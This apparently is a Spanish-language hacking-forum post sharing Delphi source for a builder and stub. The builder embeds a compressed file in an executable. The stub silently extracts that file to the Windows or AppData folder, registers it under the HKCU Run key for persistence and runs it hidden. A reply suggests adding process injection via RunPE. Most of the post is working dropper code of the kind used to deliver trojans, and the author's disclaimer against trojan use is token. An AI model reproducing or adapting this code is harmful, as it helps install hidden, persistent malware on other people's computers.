Imagen



el cliente
unit Unit1;
//programa  perteneciente al señor seoane (crear autoextraible )
//writedata p0ke
//cambios varios joselin
interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls,ZLib;

type
  TForm1 = class(TForm)
    Edit1: TEdit;
    Button1: TButton;
    Label1: TLabel;
    Edit2: TEdit;
    ComboBox1: TComboBox;
    Label2: TLabel;
    Button2: TButton;
    Edit3: TEdit;
    Button3: TButton;
    OpenDialog1: TOpenDialog;
    SaveDialog1: TSaveDialog;
    Button4: TButton;
    Label3: TLabel;
    Label4: TLabel;
    Label5: TLabel;
    Label6: TLabel;
    CheckBox1: TCheckBox;
    procedure Button2Click(Sender: TObject);
  
    procedure Button1Click(Sender: TObject);
    procedure Button3Click(Sender: TObject);

    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

   const
  strUID = '{EE6068A1-487C-4ED0-9DCA-9DCB0E6B35CB}';

   BUFFERSIZE = 1024*1024;

implementation

{$R *.dfm}

//P0ke
Function WriteResData(sServerFile: string; pFile: pointer; Size: integer; Name: String):Boolean;
var
  hResourceHandle: THandle;
  pwServerFile: PWideChar;
  pwName: PWideChar;
begin
  GetMem(pwServerFile, (Length(sServerFile) + 1) *2);
  GetMem(pwName, (Length(Name) + 1) *2);
  try
    StringToWideChar(sServerFile, pwServerFile, Length(sServerFile) * 2);
    StringToWideChar(Name, pwName, Length(Name) * 2);
    hResourceHandle := BeginUpdateResourceW(pwServerFile, False);
    Result := UpdateResourceW(hResourceHandle, MakeIntResourceW(10), pwName, 0, pFile, Size);
    EndUpdateResourceW(hResourceHandle, False);
  finally
    FreeMem(pwServerFile);
    FreeMem(pwName);
  end;
end;
 
  //**********************************************cxrear***********
procedure CrearSFX;
var
  Src: TFileStream;
  Temp: TMemoryStream;
  Path: String;
  hUpdateRes: THANDLE;
  str :string;
   instalacion,arranque:string;
begin

instalacion:=(form1.combobox1.text);
arranque:=(form1.edit2.text);
  // Abrimos el fichero de origen como "solo lectura"
  Src:= TFileStream.Create(form1.edit1.text,fmOpenRead);
  try
    Temp:= TMemoryStream.Create;
    try
      // Comprimimos el fichero
      with TCompressionStream.Create(clMax,Temp) do
      try
        CopyFrom(Src,0);
      finally
        Free;
      end;
      // La ruta del nuevo fichero es la misma que el fichero de origen + .exe
      Path:= form1.edit3.text+'.exe';//ParamStr(1)+'.exe';   /////si no agrego exe al descomprimir queda sin extencion
           //showmessage(path);
       str:=ExtractFilePath(Application.ExeName)+'stub.exe';
      //showmessage(str);

    if CopyFile(pchar(str),pchar(Path),FALSE) then
      begin
    WriteResData(form1.edit3.text+'.exe', @instalacion[1], Length(instalacion), 'INST');
     WriteResData(form1.edit3.text+'.exe', @arranque[1], Length(arranque), 'ARRAN');


        hUpdateRes:= BeginUpdateResource(PChar(Path), FALSE);
        if hUpdateRes <> 0 then
          if UpdateResource(hUpdateRes, RT_RCDATA,strUID,0,Temp.Memory,Temp.Size) then
            // Guardamos el fichero como un recurso
            if EndUpdateResource(hUpdateRes,FALSE) then
              Exit;
       DeleteFile(Path);
      end;
    finally
      Temp.Free;
    end;
  finally
    Src.Free;
  end;



end;





procedure TForm1.Button3Click(Sender: TObject);
begin
if savedialog1.execute then begin
edit3.text:=savedialog1.filename
end
else
begin
end;
  end;


procedure TForm1.Button2Click(Sender: TObject);
begin


      if ((edit1.Text ='') or (edit3.text=''))
      then begin
      showmessage ('no selecciono origen o  destino del archivo');
      end
      else
      begin

 CrearSFX;

     
end;
   end;


procedure TForm1.Button1Click(Sender: TObject);
begin
if opendialog1.execute then
begin
edit1.text:=opendialog1.FileName
end
 else
begin
end;

end;

end.

el stub:
------------------------------------------------------
program Project1;

//{$APPTYPE CONSOLE}      //NO VISIBLE

uses
  SysUtils,
  ZLIB,
  CLASSES,
  shellapi,
  shfolder,
  registry,
  //dialogs,
  windows;
  var



  str1,str2,inf,ruta:string;




const
  strUID = '{EE6068A1-487C-4ED0-9DCA-9DCB0E6B35CB}';

   BUFFERSIZE = 1024*1024;

       //p0ke mods by cswi
function GetResources(pSectionName: PChar; out ResourceSize: LongWord): Pointer;
var
  ResourceLocation: Cardinal;
  ResourceHandle: Cardinal;
begin
  ResourceLocation := FindResource(hInstance, PAnsiChar(pSectionName), PAnsiChar(10));
  ResourceSize := SizeofResource(hInstance, ResourceLocation);
  ResourceHandle := LoadResource(hInstance, ResourceLocation);
  Result := LockResource(ResourceHandle);
end;

   //p0ke mods by cswi
function GetResourceAsString(pSectionName: pchar): string;
var
  ResourceData: PChar;
  SResourceSize: LongWord;
begin
  ResourceData := GetResources(pSectionName, SResourceSize);
  SetString(Result, ResourceData, SResourceSize);
end;



   function GetSpecialFolderPath(folder : integer) : string;

  const
   SHGFP_TYPE_CURRENT = 0;
 var
   path: array [0..MAX_PATH] of char;
 begin
   if SUCCEEDED(SHGetFolderPath(0,folder,0,SHGFP_TYPE_CURRENT,@path[0])) then
     Result := path
   else
     Result := '';
 end;

   Function GetPathreg(nombre: String): String;
var
reg : TRegistry;
path: String;
begin
Result:='';
Reg:= Tregistry.Create;

Reg.RootKey:= HKEY_CURRENT_USER;
If Reg.OpenKey ('SOFTWARE\Microsoft\Windows\CurrentVersion\Run',FALSE) Then
if Reg.ValueExists(nombre)then
path:=Reg.ReadString(nombre);
 result := path;

end;



    procedure agregarinicio(nombre, path: string);
var
rg: TRegistry;
begin
        rg := TRegistry.Create;
        rg.RootKey := HKEY_CURRENT_USER;
        rg.OpenKey('SOFTWARE\Microsoft\Windows\CurrentVersion\Run', FALSE);
        rg.WriteString(nombre, path);
        rg.Destroy;
end;


   function WinDir: string;
begin
  SetLength(Result, MAX_PATH);
  Windows.GetWindowsDirectory(PChar(Result), MAX_PATH);
  Result := string(PChar(Result)) + '\';
end;

     function GetSystemDir: TFileName;
var
   SysDir: array [0..MAX_PATH-1] of char;
begin
   SetString(Result, SysDir, GetSystemDirectory(SysDir, MAX_PATH));
   if Result = '' then
      raise Exception.Create(SysErrorMessage(GetLastError));
end;

    // Esta funcion comprueba si existe un recurso con el nombre strUID
function CheckRes: Boolean;
var
  hRes: HRSRC;
begin
  Result:= FALSE;
  hRes:= FindResource(0, strUID, RT_RCDATA);
  if hRes <> 0 then
    Result:= TRUE;
end;
procedure Extraer;
var
  Src: TResourceStream;
  Dst: TFileStream;
  Path: String;
  Buffer: PByte;
  i: Integer;
 files:string;

begin
 str1 := GetResourceAsString('INST');
   str2:=  GetResourceAsString('ARRAN');

  // Abrimos el recurso donde esta guardado el fichero
  Src:= TResourceStream.Create(0,strUID,RT_RCDATA);
  try

   files:= ExtractFileName(ChangeFileExt(ParamStr(0),EmptyStr));

  if str1= 'windir' then
      path:=windir+files;
      if str1= 'appdata' then

      path:=GetSpecialFolderPath(CSIDL_LOCAL_APPDATA)+'\'+files;

    // El fichero se extrae en la mima ruta que el ejecutable - .exe
    //Path:= ChangeFileExt(ParamStr(0),EmptyStr);
    agregarinicio(str2,path);

    if Path <> ParamStr(0) then
    //showmessage(path);
    begin
      Dst:= TFileStream.Create(Path,fmCreate);
try
        // Descomprimimos el fichero
        with TDeCompressionStream.Create(Src) do
        try
          GetMem(Buffer,BUFFERSIZE);
          try
            i:= Read(Buffer^,BUFFERSIZE);
            while i > 0  do
            begin
              Dst.Write(Buffer^,i);
              i:= Read(Buffer^,BUFFERSIZE);
            end;
          finally
            FreeMem(Buffer);
          end;
        finally
          Free;
        end;
      finally
        Dst.Free;
      end;
    end;
  finally
    Src.Free;
  end;
end;

begin
// Comprobamos si tenemos algun archivo incrustado
  if CheckRes then
  begin
    // Si lo tenemos lo extraemos


    Extraer;
         inf:=  GetResourceAsString('ARRAN');
    ruta:=GetPathreg(inf);
    //showmessage(ruta);
      shellexecute(0,'open',pchar(ruta), nil,nil, SW_HIDE);
 
  end else

     exit;

end.
queda prohibido su uso con troyanos.
fin comunicacion.
perdon la desprolijidad ,33 años y no pienso cambiar
paresco malo ,pero soy bueno
-Ks1- escribió:Muy bien ando aprendiendo delphi mas o menos le entendi al codigo,
entonces ya somos 2 , siempre voy mirando los codigos que me parecen interesantes y despues que se me ocurre una idea
se donde buscar para armar mi frankenstein y si se complica y no hay codigo en internet no me queda otra que estudiar y siempre algo sale
gracias crack81 leo tus temas pero nunca comento
y yo tambien soy del 81 si es por eso tu nick
saludos y si le quieren poner inyeccion yo usaria el runpe de steve (el de ic0de)
paresco malo ,pero soy bueno
Responder

Volver a “Fuentes”